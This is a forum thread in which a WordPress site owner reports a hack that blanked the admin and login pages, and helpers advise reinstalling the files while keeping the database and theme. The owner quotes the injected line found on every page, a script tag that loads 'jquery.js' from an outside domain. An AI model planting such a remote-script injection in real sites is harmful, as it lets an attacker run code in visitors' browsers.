   Hi Everyone,

   My WordPress was hacked. I paid my host to upgrade and make the site more safer.

   The hacker despite what they did keep coming back to the website through the WordPress and getting in.

   They told me that they wouldnt charge me to do it over so I investigate what they have done to find out that the entire blog and admin have been shut down.

   I tried to log in and the entire log in admin page has been shut down and just show a blank page.

   I viewed the source code and found out that they all have the same code on all pages

   <script src="http://ecclestonbanwel.cx.cc/jquery.js"></script>
   </noindex>
   </body>
   </html>

   Does anyone know what this is and how to solve this problem. My blog is due to be launched in 7 days and we have a bulletin that we are down for maintenance which cant be seen as it is now a blank page due to the hack.

   Thanks for your help.

   Hi esmi,

   Thank you for getting back to me so soon. I am very green when it comes to this so if I say something that is very obvious please forgive me.

   There are two concerns with deleting the entire blog online and uploading it again but it seems this is the best way going forward as I am not that good at reading code.

   Database
   I have looked at my control panel and see that there is a database for my wordpress. I had alot of articles in the blog which I assume is in the database so if I delete everything I will not lose the database.

   Theme
   I was sent the link for my theme by a friend which I can no longer find as I think the email is deleted. Is there a way of finding the theme so I can put it back how it was.

   I might need a little help with anymore questions.

   You're deleting files - not your database.

   Is there a way of finding the theme so I can put it back how it was.

   The theme's url should be in Appearance -> Themes
